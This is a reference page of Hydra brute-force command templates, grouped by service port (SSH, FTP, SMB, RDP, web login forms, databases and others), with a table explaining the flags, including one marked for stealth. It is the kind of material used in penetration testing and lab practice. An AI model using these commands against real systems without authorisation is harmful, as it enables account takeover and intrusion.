Skip to main content

Hydra Brute Templates (Ordered by Port)


21 — FTP

hydra -L users.txt -P passwords.txt ftp://<IP>
Anonymous:
hydra -l anonymous -p anonymous ftp://<IP>

22 — SSH

hydra -L users.txt -P passwords.txt ssh://<IP>
Custom port:
hydra -L users.txt -P passwords.txt ssh://<IP> -s 2222

25 — SMTP

hydra -L users.txt -P passwords.txt smtp://<IP>

80 — HTTP (POST)

hydra -L users.txt -P passwords.txt <IP> http-post-form "/login:username=^USER^&password=^PASS^:Invalid login"

80 — HTTP (GET)

hydra -L users.txt -P passwords.txt <IP> http-get-form "/login.php?user=^USER^&pass=^PASS^:Invalid"
80 — HTTP BASIC AUTH
hydra -L users.txt -P passwords.txt <IP> http-get /

110 — POP3

hydra -L users.txt -P passwords.txt pop3://<IP>

139 / 445 — SMB

hydra -L users.txt -P passwords.txt smb://<IP>
Domain:
hydra -L users.txt -P passwords.txt smb://<IP> -m WORKGROUP

143 — IMAP

hydra -L users.txt -P passwords.txt imap://<IP>

443 — HTTPS (POST)

hydra -L users.txt -P passwords.txt <IP> https-post-form "/login:username=^USER^&password=^PASS^:Invalid login"

443 — HTTPS (GET)

hydra -L users.txt -P passwords.txt <IP> https-get-form "/login.php?user=^USER^&pass=^PASS^:Invalid"

3306 — MySQL

hydra -L users.txt -P passwords.txt mysql://<IP>

3389 — RDP

hydra -L users.txt -P passwords.txt rdp://<IP>
Domain:
hydra -L users.txt -P passwords.txt rdp://<IP> -m DOMAIN

5432 — PostgreSQL

hydra -L users.txt -P passwords.txt postgres://<IP>

5900 — VNC

hydra -P passwords.txt vnc://<IP>

161 — SNMP (community strings)

hydra -P community.txt snmp://<IP>
ParameterExamplePractical Explanation
-l-l adminAttack only one user
-L-L users.txtMultiple usernames
-p-p password123One password
-P-P rockyou.txtPassword wordlist
-C-C creds.txtusername:password combos
-u-uFinish passwords per user before next
-e nsr-e nsrTry null / same / reversed password
-t-t 16Parallel connections (speed)
-s-s 2222Custom port
-S-SUse SSL/TLS
-v-vShow attempts
-V-VShow every credential tested
-f-fStop after first valid login
-o-o found.txtSave results
-R-RResume attack
-I-IIgnore restore file
-w-w 5Server response timeout
-W-W 1Delay between attempts (stealth)
-M-M targets.txtMultiple targets
-m-mExtra module options
-Uhydra -U sshShow module help